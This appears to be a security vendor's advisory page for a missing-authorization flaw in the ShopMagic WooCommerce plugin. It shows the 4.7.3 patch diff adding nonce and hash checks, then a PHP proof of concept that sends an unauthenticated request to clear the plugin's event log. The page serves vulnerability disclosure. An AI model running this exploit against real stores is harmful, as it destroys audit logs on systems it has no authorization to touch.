period'=>'Potrzebowałem wtyczki tylko przez krótki okres','I no longer need the plugin'=>'Nie potrzebuję już wtyczki','It's a temporary deactivation. I'm just debugging an issue.'=>'Jest to tymczasowa dezaktywacja, debuguję problem.','Other'=>'Inny','Kindly tell us the reason so we can improve'=>'Napisz nam powód abyśmy mogli go poprawić','Cancel'=>'Anuluj','Skip & Deactivate'=>'Pomiń i dezaktywuj','We need your help to improve <strong>WP Desk plugins</strong>, so they are more useful for you and the rest of <strong>30,000+ users</strong>. By collecting data on how you use our plugins, you will help us a lot. We will not collect any sensitive data, so you can feel safe.'=>'Potrzebujemy Twojej pomocy, aby dalej rozwijać <strong>wtyczki WP Desk</strong> i były one jeszcze bardziej pomocne dla Ciebie i pozostałych ponad <strong>30 000 użytkowników</strong>. Zbierając dane na temat tego jak korzystasz z naszych wtyczek bardzo nam w tym pomożesz. Nie będziemy zbierać żadnych danych wrażliwych, więc możesz czuć się bezpiecznie.','You successfully opted out of collecting usage data by WP Desk. If you change your mind, you can always opt in later in the plugin's quick links.'=>'Twoja rezygnacja ze zbierania danych użytkowania wtyczek przez WP Desk została przyjęta. Jeśli zmienisz zdanie, zawsze możesz włączyć zgodę ponownie za pomocą szybkich linków na liście wtyczek.','Copy and paste placeholders (including double brackets) from the metabox on the right to personalize.'=>'Kopiuj i wklej placeholdery (w tym podwójne nawiasy klamrowe) z metaboksu po prawej stronie w celu personalizacji.','+ Insert block'=>'+ Wstaw blok','Please use visual editor to insert blocks.'=>'Używaj wizualnego edytora, aby wstawiać bloki.','Add a predefined content to speed up your automation creation.'=>'Dodaj gotową zawartość, aby przyspieszyć tworzenie automatyzacji.','Content blocks'=>'Bloki treści','Triggered when a customer resets their password'=>'Uruchamiane, gdy klient zresetuje swoje hasło','Password Reset Event'=>'Reset hasła','Triggered when new customer account gets created via WooCommerce'=>'Uruchamiane, gdy klient tworzy konto przez WooCommerce','New Account Event'=>'Nowe konto','Triggered when an order fails'=>'Uruchamiane, gdy status zamówienia zmieni się na nieudane','Triggered when order status is set to cancelled'=>'Uruchamiane, gdy status zamówienia zmieni się na anulowane','Triggered when order is pending'=>'Uruchamiane, gdy status zamówienia zmieni się na oczekujące na płatność','Triggered when order status is set to completed'=>'Uruchamiane, gdy status zamówienia zmieni się na zrealizowane','Triggered when the order has been refunded'=>'Uruchamiane, gdy status zamówienia zmieni się na zwrócone','Triggered when order status is set to On-Hold'=>'Uruchamiane, gdy status zamówienia zmieni się na wstrzymane','Triggered when a new order is created'=>'Uruchamiane, gdy zamówienie zostanie utworzone przez formularz zamówienia','Triggered when order status is processing'=>'Uruchamiane, gdy status zamówienia zmieni się na w trakcie realizacji','Filter for specified product.'=>'Filtr dla wybranego produktu.','Product'=>'Produkt','Upgrade'=>'Kup PRO','User Management'=>'Użytkownicy','ShopMagic required WooCommerce to be installed and activated.'=>'ShopMagic wymaga zainstalowania i aktywowania WooCommerce.','Filter'=>'Filtr','Setup Mailchimp or other email service add-on first.'=>'Skonfiguruj Mailchimp lub inny dodatek do usługi poczty elektronicznej.','Ask customers to subscribe to your mailing list on checkout.'=>'Poproś klientów o zapisanie się na listę mailingową podczas składania zamówienia.','Subscribe on checkout'=>'Zapisuj podczas składania zamówienia','Click on the appropriate ShopMagic add-on settings tab above.'=>'Wybierz odpowiednią zakładkę z menu powyżej.','General Settings'=>'Ustawienia główne','Event Log'=>'Dziennik zdarzeń','Log activity to wp_log file'=>'Zapisuj aktywności do pliku wp_log','Warning: May lead to inflated database if enabled permanently - use for temporary testing only.'=>'Ostrzeżenie: Może to prowadzić do zwiększenia objętości bazy danych, jeśli jest włączona na stałe - używaj tylko do testów.','Store messages (generated by events and actions) in the event log. Useful for debugging and monitoring.'=>'Przechowuj wiadomości (generowane przez zdarzenia i akcje) w dzienniku zdarzeń. Przydatne do usuwania błędów i monitorowania.','Log all activity'=>'Zapisuj wszystkie aktywności','Tools to help you see what's going on under the hood.'=>'Narzędzia, które pomogą ci zobaczyć, co się dzieje pod maską.','Debug Settings'=>'Ustawienia debugowania','Mailchimp Settings'=>'Ustawienia Mailchimp','Please make sure about the MailChimp API key provided !'=>'Upewnij się, że klucz API MailChimp jest uzupełniony!','Thank you for installing ShopMagic for WooCommerce! %1$sLearn how to get started%3$s or %2$screate your first automation →%3$s'=>'Dziękujemy za zainstalowanie ShopMagic dla WooCommerce! %1$sDowiedz się jak zacząć%3$s lub %2$sutwórz pierwszą automatyzację →%3$s','ID'=>'ID','Source'=>'Źródło','Severity'=>'Istotność','Time'=>'Czas','#'=>'#','No events avaliable.'=>'Brak dostępnych zdarzeń.','Events'=>'Zdarzenia','+ New Action'=>'+ Nowa akcja','In order to change action, remove the old one and a new one.'=>'Aby zmienić typ akcji, należy usunąć starą i dodać nową.','Remove Action'=>'Usuń akcję','Description for your reference'=>'Opis widoczny w panelu','Action #'=>'Akcja #','Network connection error'=>'Błąd połączenia sieciowego','Toggle panel: Action'=>'Pokaż/ukryj: Akcje',' Automations not working?'=>' Automatyzacje nie działają?','Make sure that you are placing an order using the front-end of your store when testing automations, not by clicking the Add Order button in WooCommerce → Orders. If you're still not receiving emails, click to read our guide.'=>'Upewnij się, że składasz zamówienie korzystając ze swojego sklepu, a nie w panelu admina klikając przycisk Dodaj zamówienie w WooCommerce → Zamówienia. Jeśli nadal nie otrzymujesz wiadomości e-mail, kliknij, aby przeczytać nasz przewodnik.','Sign me up!'=>'Zapisz mnie!','You will be asked to confirm your email in the next step.'=>'W następnym kroku jest wymagane potwierdzenie swojego e-maila .','Enter your e-mail...'=>'Podaj swój e-mail...','Your e-mail'=>'Twój e-mail','We'll email you periodically when we release new addons and add new features!'=>'Co jakiś czas będziemy wysyłać do ciebie e-maile, gdy będziemy publikować nowe dodatki i dodawać nowe funkcje!','Sign up to get ShopMagic updates!'=>'Zarejestruj się, aby otrzymywać nowości o ShopMagic!','Display popups on the frontend of your store each time a sale is made to encourage trust.'=>'Wyświetlaj wyskakujące okienka w sklepie, gdy składane jest zamówienia, aby budować zaufanie.','Recent Order Popups'=>'Popupy','In development'=>'W trakcie tworzenia','Allows to save customer details on a partial WooCommerce purchase and send abandoned cart emails.'=>'Umożliwia zapisywanie danych o porzuconych koszykach i automatyczną wysyłkę e-maili.','Allows to redirect customers after purchase to a custom thank you page and show an upsell.'=>'Pozwala na przekierowanie klientów po zakupie na stronę z podziękowaniami i pokazanie upsella.','After Purchase Upsells'=>'Upselle','Adds ability to subscribe customers to mailing lists in ActiveCampaign and AWeber upon checkout.'=>'Dodaje możliwość zapisu klientów na listy mailingowe w ActiveCampaign i AWeber przy zamówieniu.','Add to Mailing List'=>'Listy mailingowe','Adds review requests with direct links to products purchased in order for customers to review.'=>'Dodaje prośby o opinie z bezpośrednimi linkami do zakupionych produktów, aby klienci mogli je ocenić.','Allows automations delay by minutes, hours, days or weeks after the original event or last action.'=>'Umożliwia wykonanie akcji o minuty, godziny, dni lub tygodnie po pierwotnym zdarzeniu lub ostatniej akcji.','We've built a powerful platform that works to accomplish automation for your store in order to help you make more money and scale your business.'=>'Stworzyliśmy potężną platformę, która działa na rzecz automatyzacji twojego sklepu, aby pomóc ci zarobić więcej pieniędzy i zwiększyć skalę działalności.','Do more with ShopMagic PRO'=>'Zrób więcej z ShopMagic PRO','How to design customized order confirmation emails'=>'Jak zaprojektować e-maile z potwierdzeniem zamówienia','How to send automated thank you emails'=>'Jak wysyłać automatyczne e-maile z podziękowaniem','How to set up your first automation'=>'Jak skonfigurować swoją pierwszą automatyzację','So now when a customer makes a purchase, ShopMagic will send them an automatic email congratulating them and thanking them for their purchase.'=>'Teraz, gdy klient dokona zakupu, ShopMagic wyśle mu automatyczną wiadomość e-mail z podziękowaniem za zakup.','Choose an Action you'd like to happen. Example: Send Email. Now write a follow-up email to their order.'=>'Wybierz akcję do uruchomienia. Przykład: Wyślij e-mail. Teraz wpisz treść maila do zamówienia klienta.','Step #3:'=>'Krok 3:','Choose an Event to trigger your automation. Example: Order Completed.'=>'Wybierz zdarzenie, aby uruchomić automatyzację. Przykład: Zamówienie zrealizowane.','Step #2:'=>'Krok 2:','Start by creating a %snew Automation →%s'=>'Zacznij od utworzenia %snowej automatyzacji→%s','Step #1:'=>'Krok 1:','Getting Started'=>'Pierwsze kroki','WooCommerce marketing automation to make you more money'=>'Automatyzacja marketingu dla WooCommerce stworzona, aby zarabiać więcej pieniędzy','ShopMagic %s'=>'ShopMagic %s','All Automations'=>'Wszystkie automatyzacje','add new on admin barAutomation'=>'Automatyzacja','This Filter is not available for the above event'=>'Ten filtr nie jest dostępny dla powyższego zdarzenia','Subscribe to our newsletter '=>'Zapisz się do newslettera ','Please, visit settings page →'=>'Przejdź do ustawień →','Not assigned yet!'=>'Jeszcze nie przydzielone!','This Filter is not available for the above filter'=>'Ten filtr nie jest dostępny dla powyższego filtra','No description provided for this filter.'=>'Brak opisu tego filtra.','Shopmagic Debug'=>'Debug ShopMagic','Add'=>'Dodaj','Add products'=>'Dodaj produkty','Add product'=>'Dodaj produkt','Product for watching'=>'Produkt','Welcome to the world of awesomeness automations! Let the magic begin!'=>'Witamy w świecie niesamowitych automatyzacji! Niech rozpocznie się magia!','ShopMagic has been successfully activated'=>'ShopMagic został włączony','https://shopmagic.app/'=>'https://shopmagic.app/','The “%s” plugin requires free %s plugin. <a href="%s">Install%s</a>'=>'Wtyczka “%s” wymaga bezpłatnej wtyczki %s. <a href="%s">Zainstaluj %s</a>','Allow'=>'Pozwól']];
 No newline at end of file
--- a/shopmagic-for-woocommerce/shopMagic.php
+++ b/shopmagic-for-woocommerce/shopMagic.php
@@ -4,7 +4,7 @@
 Plugin URI: https://shopmagic.app/sk/shopmagic-for-woocommerce-plugin/
 Description: Marketing Automation and Custom Email Designer for WooCommerce
 Author: WP Desk
-Version: 4.7.2
+Version: 4.7.3
 Author URI: https://shopmagic.app/sk/shopmagic-for-woocommerce-author/
 Text Domain: shopmagic-for-woocommerce
 Domain Path: /lang/
@@ -36,7 +36,7 @@
 } // Exit if accessed directly

 /* THESE VARIABLES CAN BE CHANGED AUTOMATICALLY */
-$plugin_version = '4.7.2';
+$plugin_version = '4.7.3';

 if ( ! defined( 'SHOPMAGIC_VERSION' ) ) {
 	define( 'SHOPMAGIC_VERSION', $plugin_version );
--- a/shopmagic-for-woocommerce/src/Marketing/HookProviders/PreferencesUpdate.php
+++ b/shopmagic-for-woocommerce/src/Marketing/HookProviders/PreferencesUpdate.php
@@ -8,6 +8,7 @@
 use WPDeskShopMagicComponentsHookProviderHookProvider;
 use WPDeskShopMagicMarketingSubscribersListSubscriberSubscriptionManager;
 use WPDeskShopMagicMarketingSubscribersPreferencesRoute;
+use WPDeskShopMagicMarketingUtilEmailHasher;

 /**
  * Handle updating customer marketing (communication) preferences. At the moment it works only
@@ -16,16 +17,22 @@
  */
 final class PreferencesUpdate implements HookProvider {

+	public const NONCE_ACTION = 'shopmagic_communication_preferences';
+
+	public const NONCE_NAME = 'shopmagic_preferences_nonce';
+
 	/**
 	 * @var string
 	 */
 	private const EMAIL = 'email';

-	/** @var SubscriptionManager */
-	private $subscription_manager;
+	private SubscriptionManager $subscription_manager;

-	public function __construct( SubscriptionManager $manager ) {
+	private EmailHasher $email_hasher;
+
+	public function __construct( SubscriptionManager $manager, EmailHasher $email_hasher ) {
 		$this->subscription_manager = $manager;
+		$this->email_hasher         = $email_hasher;
 	}

 	public function hooks(): void {
@@ -36,6 +43,13 @@
 	}

 	public function process_account_preferences(): void {
+		$nonce = isset( $_POST[ self::NONCE_NAME ] ) ? sanitize_text_field( wp_unslash( $_POST[ self::NONCE_NAME ] ) ) : '';
+
+		if ( wp_verify_nonce( $nonce, self::NONCE_ACTION ) !== 1 ) {
+			// Explicitly check for 0-12h validity.
+			$this->handle_failure();
+		}
+
 		$sanitized_post = array_map(
 			static function ( $field ) {
 				if ( is_array( $field ) ) {
@@ -46,11 +60,36 @@
 			},
 			isset( $_POST['shopmagic_optin'] ) ? wp_unslash( $_POST['shopmagic_optin'] ) : []
 		);
-		$email          = isset( $_POST[ self::EMAIL ] ) ? sanitize_email( wp_unslash( $_POST[ self::EMAIL ] ) ) : '';
+
+		$email = isset( $_POST[ self::EMAIL ] ) ? sanitize_email( wp_unslash( $_POST[ self::EMAIL ] ) ) : '';
+
+		$hash = isset( $_POST['hash'] ) ? sanitize_text_field( wp_unslash( $_POST['hash'] ) ) : '';
+
+		if ( empty( $email ) || ! $this->email_hasher->valid( $email, $hash ) ) {
+			$this->handle_failure();
+		}
+
 		$this->save_opt_changes( $email, $sanitized_post );
+		$this->handle_success();
+	}
+
+	private function handle_failure(): void {
+		if ( wp_doing_ajax() ) {
+			wp_send_json_error( [ 'message' => __( 'Invalid request.', 'shopmagic-for-woocommerce' ) ], 403 );
+		}
+
+		$referer = wp_get_referer();
+		wp_safe_redirect( add_query_arg( [ 'success' => 0 ], $referer ? $referer : home_url() ) );
+		exit;
+	}
+
+	private function handle_success(): void {
+		if ( wp_doing_ajax() ) {
+			wp_send_json_success();
+		}

-		$back_url = add_query_arg( [ 'success' => 1 ], wp_get_referer() );
-		wp_safe_redirect( $back_url );
+		$referer = wp_get_referer();
+		wp_safe_redirect( add_query_arg( [ 'success' => 1 ], $referer ? $referer : home_url() ) );
 		exit;
 	}

--- a/shopmagic-for-woocommerce/src/Marketing/Subscribers/CommunicationPreferencesRenderer.php
+++ b/shopmagic-for-woocommerce/src/Marketing/Subscribers/CommunicationPreferencesRenderer.php
@@ -8,29 +8,31 @@
 use WPDeskShopMagicMarketingSubscribersListSubscriberSubscriberObjectRepository;
 use WPDeskShopMagicMarketingSubscribersListSubscriberSingleListSubscriber;
 use WPDeskShopMagicMarketingUtilEmailObsufcator;
+use WPDeskShopMagicMarketingUtilEmailHasher;

 /**
  * Helper class responsible for rendering communication preferences page.
  */
 class CommunicationPreferencesRenderer {

-	/** @var Renderer */
-	private $renderer;
+	private Renderer $renderer;

-	/** @var EmailObsufcator */
-	private $obfuscator;
+	private EmailObsufcator $obfuscator;

-	/** @var SubscriberObjectRepository */
-	private $subscribers_repository;
+	private SubscriberObjectRepository $subscribers_repository;
+
+	private EmailHasher $email_hasher;

 	public function __construct(
 		Renderer $renderer,
 		EmailObsufcator $obfuscator,
-		SubscriberObjectRepository $subscribers_repository
+		SubscriberObjectRepository $subscribers_repository,
+		EmailHasher $email_hasher
 	) {
 		$this->renderer               = $renderer;
 		$this->obfuscator             = $obfuscator;
 		$this->subscribers_repository = $subscribers_repository;
+		$this->email_hasher           = $email_hasher;
 	}

 	public function render_wrap_start(): string {
@@ -70,6 +72,7 @@
 				'email'         => $customer->get_email(),
 				'email_display' => $email,
 				'action'        => PreferencesRoute::get_slug(),
+				'hash'          => $this->email_hasher->hash( $customer->get_email() ),
 				'signed_ups'    => array_filter(
 					iterator_to_array(
 						$this->subscribers_repository->find_by(
--- a/shopmagic-for-woocommerce/src/Marketing/Util/EmailHasher.php
+++ b/shopmagic-for-woocommerce/src/Marketing/Util/EmailHasher.php
@@ -13,6 +13,6 @@
 	}

 	public function valid( string $email, string $hash ): bool {
-		return $this->hash( $email ) === $hash;
+		return hash_equals( $this->hash( $email ), $hash );
 	}
 }
--- a/shopmagic-for-woocommerce/templates/marketing-lists/communication_preferences.php
+++ b/shopmagic-for-woocommerce/templates/marketing-lists/communication_preferences.php
@@ -7,6 +7,7 @@
  * @var string                                                             $email
  * @var string                                                             $email_display
  * @var ?bool                                                              $success
+ * @var string                                                             $hash
  */

 use WPDeskShopMagicMarketingSubscribersAudienceListCommunicationListPersistence;
@@ -55,6 +56,8 @@
 		action="<?php echo esc_url( admin_url( 'admin-post.php' ) ); ?>">
 	<input type="hidden" name="action" value="<?php echo esc_attr( $action ); ?>"/>
 	<input type="hidden" name="email" value="<?php echo esc_attr( $email ); ?>"/>
+	<input type="hidden" name="hash" value="<?php echo esc_attr( $hash ); ?>"/>
+	<?php wp_nonce_field( WPDeskShopMagicMarketingHookProvidersPreferencesUpdate::NONCE_ACTION, WPDeskShopMagicMarketingHookProvidersPreferencesUpdate::NONCE_NAME ); ?>

 	<p class="shopmagic-optin form-row">
 		<label class="woocommerce-form__label woocommerce-form__label-for-checkbox checkbox">
--- a/shopmagic-for-woocommerce/vendor/composer/installed.php
+++ b/shopmagic-for-woocommerce/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'wpdesk/shopmagic-for-woocommerce',
-        'pretty_version' => '4.7.2',
-        'version' => '4.7.2.0',
-        'reference' => '3e9973c13c56821fb395abb019485a20f187175c',
+        'pretty_version' => '4.7.3',
+        'version' => '4.7.3.0',
+        'reference' => '61f715b3528c8cf839d71b7b9d7bca8a4b6fee99',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -95,9 +95,9 @@
             'dev_requirement' => false,
         ),
         'wpdesk/shopmagic-for-woocommerce' => array(
-            'pretty_version' => '4.7.2',
-            'version' => '4.7.2.0',
-            'reference' => '3e9973c13c56821fb395abb019485a20f187175c',
+            'pretty_version' => '4.7.3',
+            'version' => '4.7.3.0',
+            'reference' => '61f715b3528c8cf839d71b7b9d7bca8a4b6fee99',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-69093 - ShopMagic <= 4.7.2 - Missing Authorization

<?php

$target_url = 'https://example.com/wp-admin/admin-ajax.php';

$post_data = array(
    'action' => 'shopmagic_ajax_clear_logs'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);

// Send the unauthenticated request to trigger the vulnerable AJAX handler
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code === 200) {
    echo "Request successful. The ShopMagic event log may have been cleared.n";
    echo "Response: " . htmlspecialchars($response) . "n";
} else {
    echo "Request failed with HTTP code: " . $http_code . "n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School